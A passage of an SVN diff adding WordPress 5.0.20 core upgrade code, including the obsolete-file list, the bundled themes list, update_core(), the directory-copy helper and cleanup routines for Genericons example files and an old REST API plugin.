+'wp-includes/js/jquery/ui/jquery.ui.autocomplete.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.button.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.core.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.datepicker.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.dialog.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.draggable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.droppable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-blind.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-bounce.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-clip.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-drop.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-explode.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-fade.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-fold.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-highlight.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-pulsate.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-scale.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-shake.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-slide.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-transfer.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.menu.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.mouse.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.position.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.progressbar.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.resizable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.selectable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.slider.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.sortable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.spinner.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.tabs.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.tooltip.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.widget.min.js',
+'wp-includes/js/tinymce/skins/wordpress/images/dashicon-no-alt.png',
+// 4.3
+'wp-admin/js/wp-fullscreen.js',
+'wp-admin/js/wp-fullscreen.min.js',
+'wp-includes/js/tinymce/wp-mce-help.php',
+'wp-includes/js/tinymce/plugins/wpfullscreen',
+// 4.5
+'wp-includes/theme-compat/comments-popup.php',
+// 4.6
+'wp-admin/includes/class-wp-automatic-upgrader.php', // Wrong file name, see #37628.
+// 4.8
+'wp-includes/js/tinymce/plugins/wpembed',
+'wp-includes/js/tinymce/plugins/media/moxieplayer.swf',
+'wp-includes/js/tinymce/skins/lightgray/fonts/readme.md',
+'wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.json',
+'wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.json',
+'wp-includes/js/tinymce/skins/lightgray/skin.ie7.min.css',
+// 4.9
+'wp-admin/css/press-this-editor-rtl.css',
+'wp-admin/css/press-this-editor-rtl.min.css',
+'wp-admin/css/press-this-editor.css',
+'wp-admin/css/press-this-editor.min.css',
+'wp-admin/css/press-this-rtl.css',
+'wp-admin/css/press-this-rtl.min.css',
+'wp-admin/css/press-this.css',
+'wp-admin/css/press-this.min.css',
+'wp-admin/includes/class-wp-press-this.php',
+'wp-admin/js/bookmarklet.js',
+'wp-admin/js/bookmarklet.min.js',
+'wp-admin/js/press-this.js',
+'wp-admin/js/press-this.min.js',
+'wp-includes/js/mediaelement/background.png',
+'wp-includes/js/mediaelement/bigplay.png',
+'wp-includes/js/mediaelement/bigplay.svg',
+'wp-includes/js/mediaelement/controls.png',
+'wp-includes/js/mediaelement/controls.svg',
+'wp-includes/js/mediaelement/flashmediaelement.swf',
+'wp-includes/js/mediaelement/froogaloop.min.js',
+'wp-includes/js/mediaelement/jumpforward.png',
+'wp-includes/js/mediaelement/loading.gif',
+'wp-includes/js/mediaelement/silverlightmediaelement.xap',
+'wp-includes/js/mediaelement/skipback.png',
+'wp-includes/js/plupload/plupload.flash.swf',
+'wp-includes/js/plupload/plupload.full.min.js',
+'wp-includes/js/plupload/plupload.silverlight.xap',
+'wp-includes/js/swfupload/plugins',
+'wp-includes/js/swfupload/swfupload.swf',
+	// 4.9.2
+	'wp-includes/js/mediaelement/lang',
+	'wp-includes/js/mediaelement/lang/ca.js',
+	'wp-includes/js/mediaelement/lang/cs.js',
+	'wp-includes/js/mediaelement/lang/de.js',
+	'wp-includes/js/mediaelement/lang/es.js',
+	'wp-includes/js/mediaelement/lang/fa.js',
+	'wp-includes/js/mediaelement/lang/fr.js',
+	'wp-includes/js/mediaelement/lang/hr.js',
+	'wp-includes/js/mediaelement/lang/hu.js',
+	'wp-includes/js/mediaelement/lang/it.js',
+	'wp-includes/js/mediaelement/lang/ja.js',
+	'wp-includes/js/mediaelement/lang/ko.js',
+	'wp-includes/js/mediaelement/lang/nl.js',
+	'wp-includes/js/mediaelement/lang/pl.js',
+	'wp-includes/js/mediaelement/lang/pt.js',
+	'wp-includes/js/mediaelement/lang/ro.js',
+	'wp-includes/js/mediaelement/lang/ru.js',
+	'wp-includes/js/mediaelement/lang/sk.js',
+	'wp-includes/js/mediaelement/lang/sv.js',
+	'wp-includes/js/mediaelement/lang/uk.js',
+	'wp-includes/js/mediaelement/lang/zh-cn.js',
+	'wp-includes/js/mediaelement/lang/zh.js',
+	'wp-includes/js/mediaelement/mediaelement-flash-audio-ogg.swf',
+	'wp-includes/js/mediaelement/mediaelement-flash-audio.swf',
+	'wp-includes/js/mediaelement/mediaelement-flash-video-hls.swf',
+	'wp-includes/js/mediaelement/mediaelement-flash-video-mdash.swf',
+	'wp-includes/js/mediaelement/mediaelement-flash-video.swf',
+	'wp-includes/js/mediaelement/renderers/dailymotion.js',
+	'wp-includes/js/mediaelement/renderers/dailymotion.min.js',
+	'wp-includes/js/mediaelement/renderers/facebook.js',
+	'wp-includes/js/mediaelement/renderers/facebook.min.js',
+	'wp-includes/js/mediaelement/renderers/soundcloud.js',
+	'wp-includes/js/mediaelement/renderers/soundcloud.min.js',
+	'wp-includes/js/mediaelement/renderers/twitch.js',
+	'wp-includes/js/mediaelement/renderers/twitch.min.js',
+);
+
+/**
+ * Stores new files in wp-content to copy
+ *
+ * The contents of this array indicate any new bundled plugins/themes which
+ * should be installed with the WordPress Upgrade. These items will not be
+ * re-installed in future upgrades, this behaviour is controlled by the
+ * introduced version present here being older than the current installed version.
+ *
+ * The content of this array should follow the following format:
+ * Filename (relative to wp-content) => Introduced version
+ * Directories should be noted by suffixing it with a trailing slash (/)
+ *
+ * @since 3.2.0
+ * @since 4.7.0 New themes were not automatically installed for 4.4-4.6 on
+ *              upgrade. New themes are now installed again. To disable new
+ *              themes from being installed on upgrade, explicitly define
+ *              CORE_UPGRADE_SKIP_NEW_BUNDLED as false.
+ * @global array $_new_bundled_files
+ * @var array
+ * @name $_new_bundled_files
+ */
+global $_new_bundled_files;
+
+$_new_bundled_files = array(
+	'plugins/akismet/'        => '2.0',
+	'themes/twentyten/'       => '3.0',
+	'themes/twentyeleven/'    => '3.2',
+	'themes/twentytwelve/'    => '3.5',
+	'themes/twentythirteen/'  => '3.6',
+	'themes/twentyfourteen/'  => '3.8',
+	'themes/twentyfifteen/'   => '4.1',
+	'themes/twentysixteen/'   => '4.4',
+	'themes/twentyseventeen/' => '4.7',
+	'themes/twentynineteen/'  => '5.0',
+);
+
+/**
+ * Upgrades the core of WordPress.
+ *
+ * This will create a .maintenance file at the base of the WordPress directory
+ * to ensure that people can not access the web site, when the files are being
+ * copied to their locations.
+ *
+ * The files in the `$_old_files` list will be removed and the new files
+ * copied from the zip file after the database is upgraded.
+ *
+ * The files in the `$_new_bundled_files` list will be added to the installation
+ * if the version is greater than or equal to the old version being upgraded.
+ *
+ * The steps for the upgrader for after the new release is downloaded and
+ * unzipped is:
+ *   1. Test unzipped location for select files to ensure that unzipped worked.
+ *   2. Create the .maintenance file in current WordPress base.
+ *   3. Copy new WordPress directory over old WordPress files.
+ *   4. Upgrade WordPress to new version.
+ *     4.1. Copy all files/folders other than wp-content
+ *     4.2. Copy any language files to WP_LANG_DIR (which may differ from WP_CONTENT_DIR
+ *     4.3. Copy any new bundled themes/plugins to their respective locations
+ *   5. Delete new WordPress directory path.
+ *   6. Delete .maintenance file.
+ *   7. Remove old files.
+ *   8. Delete 'update_core' option.
+ *
+ * There are several areas of failure. For instance if PHP times out before step
+ * 6, then you will not be able to access any portion of your site. Also, since
+ * the upgrade will not continue where it left off, you will not be able to
+ * automatically remove old files and remove the 'update_core' option. This
+ * isn't that bad.
+ *
+ * If the copy of the new WordPress over the old fails, then the worse is that
+ * the new WordPress directory will remain.
+ *
+ * If it is assumed that every file will be copied over, including plugins and
+ * themes, then if you edit the default theme, you should rename it, so that
+ * your changes remain.
+ *
+ * @since 2.7.0
+ *
+ * @global WP_Filesystem_Base $wp_filesystem
+ * @global array              $_old_files
+ * @global array              $_new_bundled_files
+ * @global wpdb               $wpdb
+ * @global string             $wp_version
+ * @global string             $required_php_version
+ * @global string             $required_mysql_version
+ *
+ * @param string $from New release unzipped path.
+ * @param string $to   Path to old WordPress installation.
+ * @return WP_Error|null WP_Error on failure, null on success.
+ */
+function update_core($from, $to) {
+	global $wp_filesystem, $_old_files, $_new_bundled_files, $wpdb;
+
+	@set_time_limit( 300 );
+
+	/**
+	 * Filters feedback messages displayed during the core update process.
+	 *
+	 * The filter is first evaluated after the zip file for the latest version
+	 * has been downloaded and unzipped. It is evaluated five more times during
+	 * the process:
+	 *
+	 * 1. Before WordPress begins the core upgrade process.
+	 * 2. Before Maintenance Mode is enabled.
+	 * 3. Before WordPress begins copying over the necessary files.
+	 * 4. Before Maintenance Mode is disabled.
+	 * 5. Before the database is upgraded.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $feedback The core update feedback messages.
+	 */
+	apply_filters( 'update_feedback', __( 'Verifying the unpacked files&#8230;' ) );
+
+	// Sanity check the unzipped distribution.
+	$distro = '';
+	$roots = array( '/wordpress/', '/wordpress-mu/' );
+	foreach ( $roots as $root ) {
+		if ( $wp_filesystem->exists( $from . $root . 'readme.html' ) && $wp_filesystem->exists( $from . $root . 'wp-includes/version.php' ) ) {
+			$distro = $root;
+			break;
+		}
+	}
+	if ( ! $distro ) {
+		$wp_filesystem->delete( $from, true );
+		return new WP_Error( 'insane_distro', __('The update could not be unpacked') );
+	}
+
+
+	/*
+	 * Import $wp_version, $required_php_version, and $required_mysql_version from the new version.
+	 * DO NOT globalise any variables imported from `version-current.php` in this function.
+	 *
+	 * BC Note: $wp_filesystem->wp_content_dir() returned unslashed pre-2.8
+	 */
+	$versions_file = trailingslashit( $wp_filesystem->wp_content_dir() ) . 'upgrade/version-current.php';
+	if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $versions_file ) ) {
+		$wp_filesystem->delete( $from, true );
+		return new WP_Error( 'copy_failed_for_version_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-includes/version.php' );
+	}
+
+	$wp_filesystem->chmod( $versions_file, FS_CHMOD_FILE );
+	require( WP_CONTENT_DIR . '/upgrade/version-current.php' );
+	$wp_filesystem->delete( $versions_file );
+
+	$php_version    = phpversion();
+	$mysql_version  = $wpdb->db_version();
+	$old_wp_version = $GLOBALS['wp_version']; // The version of WordPress we're updating from
+	$development_build = ( false !== strpos( $old_wp_version . $wp_version, '-' )  ); // a dash in the version indicates a Development release
+	$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
+	if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
+		$mysql_compat = true;
+	else
+		$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' );
+
+	if ( !$mysql_compat || !$php_compat )
+		$wp_filesystem->delete($from, true);
+
+	if ( !$mysql_compat && !$php_compat )
+		return new WP_Error( 'php_mysql_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) );
+	elseif ( !$php_compat )
+		return new WP_Error( 'php_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version ) );
+	elseif ( !$mysql_compat )
+		return new WP_Error( 'mysql_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version ) );
+
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Preparing to install the latest version&#8230;' ) );
+
+	// Don't copy wp-content, we'll deal with that below
+	// We also copy version.php last so failed updates report their old version
+	$skip = array( 'wp-content', 'wp-includes/version.php' );
+	$check_is_writable = array();
+
+	// Check to see which files don't really need updating - only available for 3.7 and higher
+	if ( function_exists( 'get_core_checksums' ) ) {
+		// Find the local version of the working directory
+		$working_dir_local = WP_CONTENT_DIR . '/upgrade/' . basename( $from ) . $distro;
+
+		$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );
+		if ( is_array( $checksums ) && isset( $checksums[ $wp_version ] ) )
+			$checksums = $checksums[ $wp_version ]; // Compat code for 3.7-beta2
+		if ( is_array( $checksums ) ) {
+			foreach ( $checksums as $file => $checksum ) {
+				if ( 'wp-content' == substr( $file, 0, 10 ) )
+					continue;
+				if ( ! file_exists( ABSPATH . $file ) )
+					continue;
+				if ( ! file_exists( $working_dir_local . $file ) )
+					continue;
+				if ( '.' === dirname( $file ) && in_array( pathinfo( $file, PATHINFO_EXTENSION ), array( 'html', 'txt' ) ) )
+					continue;
+				if ( md5_file( ABSPATH . $file ) === $checksum )
+					$skip[] = $file;
+				else
+					$check_is_writable[ $file ] = ABSPATH . $file;
+			}
+		}
+	}
+
+	// If we're using the direct method, we can predict write failures that are due to permissions.
+	if ( $check_is_writable && 'direct' === $wp_filesystem->method ) {
+		$files_writable = array_filter( $check_is_writable, array( $wp_filesystem, 'is_writable' ) );
+		if ( $files_writable !== $check_is_writable ) {
+			$files_not_writable = array_diff_key( $check_is_writable, $files_writable );
+			foreach ( $files_not_writable as $relative_file_not_writable => $file_not_writable ) {
+				// If the writable check failed, chmod file to 0644 and try again, same as copy_dir().
+				$wp_filesystem->chmod( $file_not_writable, FS_CHMOD_FILE );
+				if ( $wp_filesystem->is_writable( $file_not_writable ) )
+					unset( $files_not_writable[ $relative_file_not_writable ] );
+			}
+
+			// Store package-relative paths (the key) of non-writable files in the WP_Error object.
+			$error_data = version_compare( $old_wp_version, '3.7-beta2', '>' ) ? array_keys( $files_not_writable ) : '';
+
+			if ( $files_not_writable )
+				return new WP_Error( 'files_not_writable', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), implode( ', ', $error_data ) );
+		}
+	}
+
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Enabling Maintenance mode&#8230;' ) );
+	// Create maintenance file to signal that we are upgrading
+	$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
+	$maintenance_file = $to . '.maintenance';
+	$wp_filesystem->delete($maintenance_file);
+	$wp_filesystem->put_contents($maintenance_file, $maintenance_string, FS_CHMOD_FILE);
+
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Copying the required files&#8230;' ) );
+	// Copy new versions of WP files into place.
+	$result = _copy_dir( $from . $distro, $to, $skip );
+	if ( is_wp_error( $result ) )
+		$result = new WP_Error( $result->get_error_code(), $result->get_error_message(), substr( $result->get_error_data(), strlen( $to ) ) );
+
+	// Since we know the core files have copied over, we can now copy the version file
+	if ( ! is_wp_error( $result ) ) {
+		if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $to . 'wp-includes/version.php', true /* overwrite */ ) ) {
+			$wp_filesystem->delete( $from, true );
+			$result = new WP_Error( 'copy_failed_for_version_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-includes/version.php' );
+		}
+		$wp_filesystem->chmod( $to . 'wp-includes/version.php', FS_CHMOD_FILE );
+	}
+
+	// Check to make sure everything copied correctly, ignoring the contents of wp-content
+	$skip = array( 'wp-content' );
+	$failed = array();
+	if ( isset( $checksums ) && is_array( $checksums ) ) {
+		foreach ( $checksums as $file => $checksum ) {
+			if ( 'wp-content' == substr( $file, 0, 10 ) )
+				continue;
+			if ( ! file_exists( $working_dir_local . $file ) )
+				continue;
+			if ( '.' === dirname( $file ) && in_array( pathinfo( $file, PATHINFO_EXTENSION ), array( 'html', 'txt' ) ) ) {
+				$skip[] = $file;
+				continue;
+			}
+			if ( file_exists( ABSPATH . $file ) && md5_file( ABSPATH . $file ) == $checksum )
+				$skip[] = $file;
+			else
+				$failed[] = $file;
+		}
+	}
+
+	// Some files didn't copy properly
+	if ( ! empty( $failed ) ) {
+		$total_size = 0;
+		foreach ( $failed as $file ) {
+			if ( file_exists( $working_dir_local . $file ) )
+				$total_size += filesize( $working_dir_local . $file );
+		}
+
+		// If we don't have enough free space, it isn't worth trying again.
+		// Unlikely to be hit due to the check in unzip_file().
+		$available_space = @disk_free_space( ABSPATH );
+		if ( $available_space && $total_size >= $available_space ) {
+			$result = new WP_Error( 'disk_full', __( 'There is not enough free disk space to complete the update.' ) );
+		} else {
+			$result = _copy_dir( $from . $distro, $to, $skip );
+			if ( is_wp_error( $result ) )
+				$result = new WP_Error( $result->get_error_code() . '_retry', $result->get_error_message(), substr( $result->get_error_data(), strlen( $to ) ) );
+		}
+	}
+
+	// Custom Content Directory needs updating now.
+	// Copy Languages
+	if ( !is_wp_error($result) && $wp_filesystem->is_dir($from . $distro . 'wp-content/languages') ) {
+		if ( WP_LANG_DIR != ABSPATH . WPINC . '/languages' || @is_dir(WP_LANG_DIR) )
+			$lang_dir = WP_LANG_DIR;
+		else
+			$lang_dir = WP_CONTENT_DIR . '/languages';
+
+		if ( !@is_dir($lang_dir) && 0 === strpos($lang_dir, ABSPATH) ) { // Check the language directory exists first
+			$wp_filesystem->mkdir($to . str_replace(ABSPATH, '', $lang_dir), FS_CHMOD_DIR); // If it's within the ABSPATH we can handle it here, otherwise they're out of luck.
+			clearstatcache(); // for FTP, Need to clear the stat cache
+		}
+
+		if ( @is_dir($lang_dir) ) {
+			$wp_lang_dir = $wp_filesystem->find_folder($lang_dir);
+			if ( $wp_lang_dir ) {
+				$result = copy_dir($from . $distro . 'wp-content/languages/', $wp_lang_dir);
+				if ( is_wp_error( $result ) )
+					$result = new WP_Error( $result->get_error_code() . '_languages', $result->get_error_message(), substr( $result->get_error_data(), strlen( $wp_lang_dir ) ) );
+			}
+		}
+	}
+
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Disabling Maintenance mode&#8230;' ) );
+	// Remove maintenance file, we're done with potential site-breaking changes
+	$wp_filesystem->delete( $maintenance_file );
+
+	// 3.5 -> 3.5+ - an empty twentytwelve directory was created upon upgrade to 3.5 for some users, preventing installation of Twenty Twelve.
+	if ( '3.5' == $old_wp_version ) {
+		if ( is_dir( WP_CONTENT_DIR . '/themes/twentytwelve' ) && ! file_exists( WP_CONTENT_DIR . '/themes/twentytwelve/style.css' )  ) {
+			$wp_filesystem->delete( $wp_filesystem->wp_themes_dir() . 'twentytwelve/' );
+		}
+	}
+
+	// Copy New bundled plugins & themes
+	// This gives us the ability to install new plugins & themes bundled with future versions of WordPress whilst avoiding the re-install upon upgrade issue.
+	// $development_build controls us overwriting bundled themes and plugins when a non-stable release is being updated
+	if ( !is_wp_error($result) && ( ! defined('CORE_UPGRADE_SKIP_NEW_BUNDLED') || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) ) {
+		foreach ( (array) $_new_bundled_files as $file => $introduced_version ) {
+			// If a $development_build or if $introduced version is greater than what the site was previously running
+			if ( $development_build || version_compare( $introduced_version, $old_wp_version, '>' ) ) {
+				$directory = ('/' == $file[ strlen($file)-1 ]);
+				list($type, $filename) = explode('/', $file, 2);
+
+				// Check to see if the bundled items exist before attempting to copy them
+				if ( ! $wp_filesystem->exists( $from . $distro . 'wp-content/' . $file ) )
+					continue;
+
+				if ( 'plugins' == $type )
+					$dest = $wp_filesystem->wp_plugins_dir();
+				elseif ( 'themes' == $type )
+					$dest = trailingslashit($wp_filesystem->wp_themes_dir()); // Back-compat, ::wp_themes_dir() did not return trailingslash'd pre-3.2
+				else
+					continue;
+
+				if ( ! $directory ) {
+					if ( ! $development_build && $wp_filesystem->exists( $dest . $filename ) )
+						continue;
+
+					if ( ! $wp_filesystem->copy($from . $distro . 'wp-content/' . $file, $dest . $filename, FS_CHMOD_FILE) )
+						$result = new WP_Error( "copy_failed_for_new_bundled_$type", __( 'Could not copy file.' ), $dest . $filename );
+				} else {
+					if ( ! $development_build && $wp_filesystem->is_dir( $dest . $filename ) )
+						continue;
+
+					$wp_filesystem->mkdir($dest . $filename, FS_CHMOD_DIR);
+					$_result = copy_dir( $from . $distro . 'wp-content/' . $file, $dest . $filename);
+
+					// If a error occurs partway through this final step, keep the error flowing through, but keep process going.
+					if ( is_wp_error( $_result ) ) {
+						if ( ! is_wp_error( $result ) )
+							$result = new WP_Error;
+						$result->add( $_result->get_error_code() . "_$type", $_result->get_error_message(), substr( $_result->get_error_data(), strlen( $dest ) ) );
+					}
+				}
+			}
+		} //end foreach
+	}
+
+	// Handle $result error from the above blocks
+	if ( is_wp_error($result) ) {
+		$wp_filesystem->delete($from, true);
+		return $result;
+	}
+
+	// Remove old files
+	foreach ( $_old_files as $old_file ) {
+		$old_file = $to . $old_file;
+		if ( !$wp_filesystem->exists($old_file) )
+			continue;
+
+		// If the file isn't deleted, try writing an empty string to the file instead.
+		if ( ! $wp_filesystem->delete( $old_file, true ) && $wp_filesystem->is_file( $old_file ) ) {
+			$wp_filesystem->put_contents( $old_file, '' );
+		}
+	}
+
+	// Remove any Genericons example.html's from the filesystem
+	_upgrade_422_remove_genericons();
+
+	// Remove the REST API plugin if its version is Beta 4 or lower
+	_upgrade_440_force_deactivate_incompatible_plugins();
+
+	// Upgrade DB with separate request
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Upgrading database&#8230;' ) );
+	$db_upgrade_url = admin_url('upgrade.php?step=upgrade_db');
+	wp_remote_post($db_upgrade_url, array('timeout' => 60));
+
+	// Clear the cache to prevent an update_option() from saving a stale db_version to the cache
+	wp_cache_flush();
+	// (Not all cache back ends listen to 'flush')
+	wp_cache_delete( 'alloptions', 'options' );
+
+	// Remove working directory
+	$wp_filesystem->delete($from, true);
+
+	// Force refresh of update information
+	if ( function_exists('delete_site_transient') )
+		delete_site_transient('update_core');
+	else
+		delete_option('update_core');
+
+	/**
+	 * Fires after WordPress core has been successfully updated.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $wp_version The current WordPress version.
+	 */
+	do_action( '_core_updated_successfully', $wp_version );
+
+	// Clear the option that blocks auto updates after failures, now that we've been successful.
+	if ( function_exists( 'delete_site_option' ) )
+		delete_site_option( 'auto_core_update_failed' );
+
+	return $wp_version;
+}
+
+/**
+ * Copies a directory from one location to another via the WordPress Filesystem Abstraction.
+ * Assumes that WP_Filesystem() has already been called and setup.
+ *
+ * This is a temporary function for the 3.1 -> 3.2 upgrade, as well as for those upgrading to
+ * 3.7+
+ *
+ * @ignore
+ * @since 3.2.0
+ * @since 3.7.0 Updated not to use a regular expression for the skip list
+ * @see copy_dir()
+ *
+ * @global WP_Filesystem_Base $wp_filesystem
+ *
+ * @param string $from     source directory
+ * @param string $to       destination directory
+ * @param array $skip_list a list of files/folders to skip copying
+ * @return mixed WP_Error on failure, True on success.
+ */
+function _copy_dir($from, $to, $skip_list = array() ) {
+	global $wp_filesystem;
+
+	$dirlist = $wp_filesystem->dirlist($from);
+
+	$from = trailingslashit($from);
+	$to = trailingslashit($to);
+
+	foreach ( (array) $dirlist as $filename => $fileinfo ) {
+		if ( in_array( $filename, $skip_list ) )
+			continue;
+
+		if ( 'f' == $fileinfo['type'] ) {
+			if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) {
+				// If copy failed, chmod file to 0644 and try again.
+				$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );
+				if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) )
+					return new WP_Error( 'copy_failed__copy_dir', __( 'Could not copy file.' ), $to . $filename );
+			}
+		} elseif ( 'd' == $fileinfo['type'] ) {
+			if ( !$wp_filesystem->is_dir($to . $filename) ) {
+				if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) )
+					return new WP_Error( 'mkdir_failed__copy_dir', __( 'Could not create directory.' ), $to . $filename );
+			}
+
+			/*
+			 * Generate the $sub_skip_list for the subdirectory as a sub-set
+			 * of the existing $skip_list.
+			 */
+			$sub_skip_list = array();
+			foreach ( $skip_list as $skip_item ) {
+				if ( 0 === strpos( $skip_item, $filename . '/' ) )
+					$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
+			}
+
+			$result = _copy_dir($from . $filename, $to . $filename, $sub_skip_list);
+			if ( is_wp_error($result) )
+				return $result;
+		}
+	}
+	return true;
+}
+
+/**
+ * Redirect to the About WordPress page after a successful upgrade.
+ *
+ * This function is only needed when the existing installation is older than 3.4.0.
+ *
+ * @since 3.3.0
+ *
+ * @global string $wp_version
+ * @global string $pagenow
+ * @global string $action
+ *
+ * @param string $new_version
+ */
+function _redirect_to_about_wordpress( $new_version ) {
+	global $wp_version, $pagenow, $action;
+
+	if ( version_compare( $wp_version, '3.4-RC1', '>=' ) )
+		return;
+
+	// Ensure we only run this on the update-core.php page. The Core_Upgrader may be used in other contexts.
+	if ( 'update-core.php' != $pagenow )
+		return;
+
+ 	if ( 'do-core-upgrade' != $action && 'do-core-reinstall' != $action )
+ 		return;
+
+	// Load the updated default text localization domain for new strings.
+	load_default_textdomain();
+
+	// See do_core_upgrade()
+	show_message( __('WordPress updated successfully') );
+
+	// self_admin_url() won't exist when upgrading from <= 3.0, so relative URLs are intentional.
+	show_message( '<span class="hide-if-no-js">' . sprintf( __( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.' ), $new_version, 'about.php?updated' ) . '</span>' );
+	show_message( '<span class="hide-if-js">' . sprintf( __( 'Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.' ), $new_version, 'about.php?updated' ) . '</span>' );
+	echo '</div>';
+	?>
+<script type="text/javascript">
+window.location = 'about.php?updated';
+</script>
+	<?php
+
+	// Include admin-footer.php and exit.
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+	exit();
+}
+
+/**
+ * Cleans up Genericons example files.
+ *
+ * @since 4.2.2
+ *
+ * @global array              $wp_theme_directories
+ * @global WP_Filesystem_Base $wp_filesystem
+ */
+function _upgrade_422_remove_genericons() {
+	global $wp_theme_directories, $wp_filesystem;
+
+	// A list of the affected files using the filesystem absolute paths.
+	$affected_files = array();
+
+	// Themes
+	foreach ( $wp_theme_directories as $directory ) {
+		$affected_theme_files = _upgrade_422_find_genericons_files_in_folder( $directory );
+		$affected_files       = array_merge( $affected_files, $affected_theme_files );
+	}
+
+	// Plugins
+	$affected_plugin_files = _upgrade_422_find_genericons_files_in_folder( WP_PLUGIN_DIR );
+	$affected_files        = array_merge( $affected_files, $affected_plugin_files );
+
+	foreach ( $affected_files as $file ) {
+		$gen_dir = $wp_filesystem->find_folder( trailingslashit( dirname( $file ) ) );
+		if ( empty( $gen_dir ) ) {
+			continue;
+		}
+
+		// The path when the file is accessed via WP_Filesystem may differ in the case of FTP
+		$remote_file = $gen_dir . basename( $file );
+
+		if ( ! $wp_filesystem->exists( $remote_file ) ) {
+			continue;
+		}
+
+		if ( ! $wp_filesystem->delete( $remote_file, false, 'f' ) ) {
+			$wp_filesystem->put_contents( $remote_file, '' );
+		}
+	}
+}
+
+/**
+ * Recursively find Genericons example files in a given folder.
+ *
+ * @ignore
+ * @since 4.2.2
+ *
+ * @param string $directory Directory path. Expects trailingslashed.
+ * @return array
+ */
+function _upgrade_422_find_genericons_files_in_folder( $directory ) {
+	$directory = trailingslashit( $directory );
+	$files     = array();
+
+	if ( file_exists( "{$directory}example.html" ) && false !== strpos( file_get_contents( "{$directory}example.html" ), '<title>Genericons</title>' ) ) {
+		$files[] = "{$directory}example.html";
+	}
+
+	$dirs = glob( $directory . '*', GLOB_ONLYDIR );
+	if ( $dirs ) {
+		foreach ( $dirs as $dir ) {
+			$files = array_merge( $files, _upgrade_422_find_genericons_files_in_folder( $dir ) );
+		}
+	}
+
+	return $files;
+}
+
+/**
+ * @ignore
+ * @since 4.4.0
+ */
+function _upgrade_440_force_deactivate_incompatible_plugins() {
+	if ( defined( 'REST_API_VERSION' ) && version_compare( REST_API_VERSION, '2.0-beta4', '<=' ) ) {
+		deactivate_plugins( array( 'rest-api/plugin.php' ), true );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/update.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/update.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/update.php	(revision 56912)
@@ -0,0 +1,764 @@
+<?php
+/**
+ * WordPress Administration Update API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
